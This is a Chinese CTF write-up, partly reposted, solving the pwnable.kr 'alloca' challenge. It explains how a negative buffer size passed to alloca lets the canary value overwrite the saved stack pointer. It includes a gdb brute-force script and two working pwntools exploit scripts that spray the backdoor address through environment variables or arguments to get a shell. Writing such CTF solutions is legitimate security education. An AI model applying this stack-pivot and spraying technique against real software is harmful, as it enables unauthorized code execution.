Skip to content

pwnable.kr alloca详细分析

复制本地路径 | 在线编辑

主要是别人的一篇文章,我自己改了一些,加了一点自己做题遇到的问题。

转载说明
本文由Kir[A]原创发布\
出处: https://www.anquanke.com/post/id/170288\
发布时间:2019-01-29 11:15:56

源代码

题目提供了一个alloca二进制文件,以及程序的源码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void callme(){
    system("/bin/sh");
}

void clear_newlines(){
    int c;
    do { c = getchar(); } while (c != 'n' && c != EOF);
}

int g_canary;
int check_canary(int canary){
    int result = canary ^ g_canary;
    int canary_after = canary;
    int canary_before = g_canary;
    printf("canary before using buffer : %dn", canary_before);
    printf("canary after using buffer : %dnn", canary_after);
    if (result != 0)
        printf("what the ....??? how did you messed this buffer????n");
    else 
        printf("I told you so. its trivially easy to prevent BOF :)n");
    return result;
}

int size;
char* buffer;
int main(){
    printf("- whats the maximum length of your buffer?(byte) : ");
    scanf("%d", &size);
    clear_newlines();

    printf("- give me your random canary number to prove there is no BOF : ");
    scanf("%d", &g_canary);
    clear_newlines();

    printf("- now, lets put canary at the end of the buffer and get your datan");
    buffer = alloca( size + 4 );    // 4 is for canary
    memcpy(buffer+size, &g_canary, 4);      // canary will detect overflow.
    fgets(buffer, size, stdin);             // there is no way you can exploit this.

    printf("- now lets check canary to see if there was overflownn");
    check_canary( *((int*)(buffer+size)) );
    return 0;
}

程序模仿 canary 的原理,使用 alloca 开辟栈空间后,在 buffer 后面加 4 字节的 g_canary ,同时在 check_canary 中检查栈中的 canary 是否被修改。程序里面也预留了一个 callme 的后门。

alloca 函数

先看一下本题关键函数 alloca 是什么东东。allocamalloc/calloc/realloc 类似,都是内存分配函数。

但是它是在当前函数的栈帧上分配存储空间,而不是在堆中。当函数返回时会自动释放它所使用的栈帧,不必为释放空间而费心。

漏洞分析

程序只开了 NX 保护。下面我们来在 IDA 看看伪源码。和给出的源码基本一致,但是有一处不太一样,代码如下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
    ...
    v3 = alloca(16 * ((size + 34) / 0x10u));
    buffer = (char *)(16 * (((unsigned int)&retaddr + 3) >> 4));
    *(_DWORD *)&buffer[size] = g_canary;
    fgets(buffer, size, stdin);
    ...
    return 0;
}

查看该处的汇编指令。
v3 = alloca(16 * ((size + 34) / 0x10u));
.text:08048742                 add     esp, 10h
.text:08048745                 mov     eax, ds:size
.text:0804874A                 add     eax, 4
.text:0804874D                 lea     edx, [eax+0Fh]
.text:08048750                 mov     eax, 10h
.text:08048755                 sub     eax, 1
.text:08048758                 add     eax, edx
.text:0804875A                 mov     ecx, 10h
.text:0804875F                 mov     edx, 0
.text:08048764                 div     ecx
.text:08048766                 imul    eax, 10h  // 这一段都是计算要抬高多少空间
.text:08048769                 sub     esp, eax  // 此处是抬高 esp,让出空间
buffer = (char *)(16 * (((unsigned int)&retaddr + 3) >> 4));
.text:0804876B                 mov     eax, esp
.text:0804876D                 add     eax, 0Fh
.text:08048770                 shr     eax, 4
.text:08048773                 shl     eax, 4
.text:08048776                 mov     ds:buffer, eax

可以看到这是 alloca 开辟栈空间时进行了对齐,重点要留意下对 esp 进行操作的代码。正常来说,这里分配栈空间的逻辑实现是没问题的,但是程序使用 scanf("%d", &size); 读入 size
如果我们输入的是一个负数呢?那么esp就会降低,分配的栈空间地址会与程序已使用的栈空间重合。

我们要如何利用这个漏洞呢,继续看一下 main 函数结尾部分的汇编

.text:08048824                 call    check_canary
.text:08048829                 add     esp, 10h
.text:0804882C                 mov     eax, 0
.text:08048831                 mov     ecx, [ebp-4]
.text:08048834                 leave
.text:08048835                 lea     esp, [ecx-4]
.text:08048838                 retn

可以看到程序 ret 前,ecx-4 的值赋给 esp,而 ecx 的值等于 [ebp-4],那么只要我们能控制 [ebp-4],就能控制程序流。
程序有三个输入点:

  1. 输入 buff 的 size
  2. 输入 g_canary
  3. 输入 buff 的内容

由于我们输入的 size 是负数,实际上 fgets(buffer, size, stdin) 是无法读入字符

那么唯一可控的输入点只有 g_canary,那么目标很明确了,就是 [ebp-4] = shell_pointer+4,这样返回时 ecx=shell_pointer+4, esp=shell_pointer,所以 esp-->shell,这样执行 retq 之后就成功转入 shell

需要在程序里面找一下哪里有将 g_canary 写到栈中的操作。

失败的尝试一

首先想到的是 main 函数的赋值,即 memcpy(buffer+size, &g_canary, 4)

.text:080487BE                 add     esp, 10h
.text:080487C1                 mov     eax, ds:buffer
.text:080487C6                 mov     edx, ds:size
.text:080487CC                 add     edx, eax
.text:080487CE                 mov     eax, ds:g_canary
.text:080487D3                 mov     [edx], eax

肯定是想法设法让 buffer+size 指向 ebp-4,但是最后我发现无论怎么样都会失败,即使 size 为负数,虽然这样可以让 buffer 指向 ebp 附件的位置,但是只要加上 size 就会回到正常位置。

经过思考,发现原因: buffer 是通过 buffer = alloca( size + 4 ); 得来的,然后通过 memcpy(buffer+size, &g_canary, 4),这不就又回去了吗!相当于减去一个 size,然后又加上了一个 size

所以无论如何 buffer+size 始终会是正常的位置,不可能是 ebp-4

成功的尝试二

然后就是本篇转载的文章了,不知道是怎么想到的,它想到了是 check_canary 函数的赋值

.text:080485E1     check_canary    proc near               
.text:080485E1 000                 push    ebp      
.text:080485E2 004                 mov     ebp, esp
.text:080485E4 004                 sub     esp, 18h
.text:080485E7 01C                 mov     eax, ds:g_canary
.text:080485EC 01C                 xor     eax, [ebp+0x8]
.text:080485EF 01C                 mov     [ebp-0x0c], eax
.text:080485F2 01C                 mov     eax, [ebp+0x8]
.text:080485F5 01C                 mov     [ebp-0x10], eax
.text:080485F8 01C                 mov     eax, ds:g_canary
.text:080485FD 01C                 mov     [ebp-0x14], eax 

最后一行这里有一个将 g_canary 写到栈中的操作,现在如何计算输入的 size 是本题解题的关键所在。这里有两种方式,第一种是转载文章的手工计算,第二种是我自己写的暴力计算。

手工计算

我们从这里根据 espebp 的值开始反推出 size 的值。

.text:080485E1     check_canary    proc near               
.text:080485E1 000                 push    ebp      
.text:080485E2 004                 mov     ebp, esp
.text:080485E4 004                 sub     esp, 18h
.text:080485E7 01C                 mov     eax, ds:g_canary
.text:080485EC 01C                 xor     eax, [ebp+0x8]
.text:080485EF 01C                 mov     [ebp-0x0c], eax
.text:080485F2 01C                 mov     eax, [ebp+0x8]
.text:080485F5 01C                 mov     [ebp-0x10], eax
.text:080485F8 01C                 mov     eax, ds:g_canary
.text:080485FD 01C                 mov     [ebp-0x14], eax 
  1. 根据 0x80485FD 赋值的代码,有此时 [ebp-0x14] = g_canary
  2. 根据 0x80485E2 的 mov ebp, esp,那么有此时 [esp-0x14] = g_canary
  3. 根据 0x80485E1 的 push ebp,那么有此时 [esp-0x18] = g_canary
; check_canary(*(_DWORD *)&buffer[size]);
.text:08048811                  mov     eax, ds:buffer
.text:08048816                  mov     edx, ds:size
.text:0804881C                  add     eax, edx
.text:0804881E                  mov     eax, [eax]
.text:08048820                  sub     esp, 0Ch        
.text:08048823                  push    eax
.text:08048824                  call    check_canary   
  1. 根据 0x8048824 的 call check_canary,那么有此时 [esp-0x1c] = g_canary
  2. 根据 0x8048823 的 push eax,那么有此时 [esp-0x20] = g_canary
  3. 根据 0x8048820 的 sub esp, 0ch,那么有此时 [esp-0x2c] = g_canary
; v3 = alloca(16 * ((size + 34) / 0x10u));
.text:08048742                  add     esp, 10h
.text:08048745                  mov     eax, ds:size
.text:0804874A                  add     eax, 4
.text:0804874D                  lea     edx, [eax+0Fh]
.text:08048750                  mov     eax, 10h
.text:08048755                  sub     eax, 1
.text:08048758                  add     eax, edx
.text:0804875A                  mov     ecx, 10h
.text:0804875F                  mov     edx, 0
.text:08048764                  div     ecx
.text:08048766                  imul    eax, 10h
.text:08048769                  sub     esp, eax
  1. 这一段就是 alloc 实现,eax16 * ((size + 34) / 0x10u),可以暂不考虑对齐问题,得到此时 [esp-0x2c-(size+34)] = [esp-size-78] = g_canary
.text:08048663                 lea     ecx, [esp+4]
.text:08048667                 and     esp, 0FFFFFFF0h
.text:0804866A                 push    dword ptr [ecx-4]
.text:0804866D                 push    ebp
.text:0804866E                 mov     ebp, esp
.text:08048670                 push    ecx
.text:08048671                 sub     esp, 4
  1. 计算可得,0x804866E 时,此时 [ebp-size-86] = g_canary

因为我们的目的是 [ebp-4] = shell_pointer+4,因此 g_canary=shell_pointer+4[ebp-4]=[ebp-size-86],所以得到 size = -82

当然因为没有考虑对齐问题,其实 size 为 -67 到 -82 都可以,只要 (size+34)/16=-3 即可。

暴力求解

我的方法就很纯粹了,因为手工计算这个很有可能计算半天还是错的,这就太尴尬了。

我的方法是每次 gdb 调试这个程序,输入猜测的 size,因为在 gdb 中,所以可以得到 main 函数的 ebpg_canary 写入的地址,然后比对一下他们是否一样。

当然肯定不是手动 gdb,写一个脚本,猜测的 size 值从小到大试就完事了,代码如下,这个是我在 pwnable.kr 它的网站上运行的,所以 gdb 的行为不一样(主要是大部分 gdb 输出彩色,它这个不输出彩色),所以不是拿来就能用,需要自己去调整。

from pwn import *

results = []
for i in range(-100, -1):
    print(i)
    sh = process(['gdb', '/home/alloca/alloca'])
    sh.recvuntil('(gdb) ')
    sh.sendline('b *0x08048831')
    sh.recvuntil('(gdb) ')
    sh.sendline('b *0x080485FD')
    sh.recvuntil('(gdb) ')
    sh.sendline('r')
    sh.sendline(str(i))
    sh.sendline('176')
    sh.recvuntil('(gdb) ')

    sh.sendline('p $ebp')
    canary_pos_byte = sh.recvuntil('(gdb) ').split(b' ')[4][:-6]

    sh.sendline('c')
    sh.recvuntil('(gdb) ')
    sh.sendline('p $ebp')
    ebp_byte = sh.recvuntil('(gdb) ').split(b' ')[4][:-6]

    canary_pos = int(canary_pos_byte, 16) - 0x14
    ebp = int(ebp_byte, 16) - 0x4

    print(hex(canary_pos))
    print(hex(ebp))

    if (canary_pos == ebp):
        results.append(i)
    sh.close()
print(results)

SHELL_pointer

现在的问题就是这个 shell_pointer 在哪?这个 shell 我们已经找到了,就是 callme 后门,那么哪块内存里面存着 callme 的地址呢?这就需要用到 Spray 的思想,tiny_easy 那道题也是这样。利用环境变量或者参数变量写入大量的 callme 地址即可。

完整 exp

利用环境变量,这个是别人的。他这个需要每次交互才行,不太好。

from pwn import *
callme = p32(0x080485ab)
envs = {str(i): callme*30000 for i in range(10)}

for i in range(0x100):
    try:
        r = process('/home/alloca/alloca', env=envs)
        r.sendline('-82')
        r.sendline('-4718592')
        r.interactive()
    except EOFError:
            continue

利用参数变量,这个是我自己写的。我这个就可以直接挂在那里让他跑就完事了。
from pwn import *
_argv = ['./alloca']
callme = p32(0x80485ab) * 0x500
stack_addr = -4718592

for i in range(0x100):
    _argv.append(callme)

for i in range(0x100):
    print(i)
    try:
        p = process(_argv)
        p.recvuntil('- simple right?. let me show you.\n')
        p.sendline('-80')
        p.sendline(str(stack_addr))
        p.recvuntil('- ok lets allocate a buffer of length -80\n\n')
        p.recvuntil('what the f...??? how did you messed this buffer????\n')
        p.sendline('ls')
        print(p.recv(1024))
        p.interactive()
        break
    except:
       p.close()
       continue

由于 stack 空间地址随机,需要多试几次才能成功。

总结

  • 输入一定要考虑输负数会发生什么
  • 对于每个函数,必须要看它的汇编代码,看看它是如何返回的,有些利用了 ecx 这些寄存器,就有可能有漏洞
  • Spray 思想要想到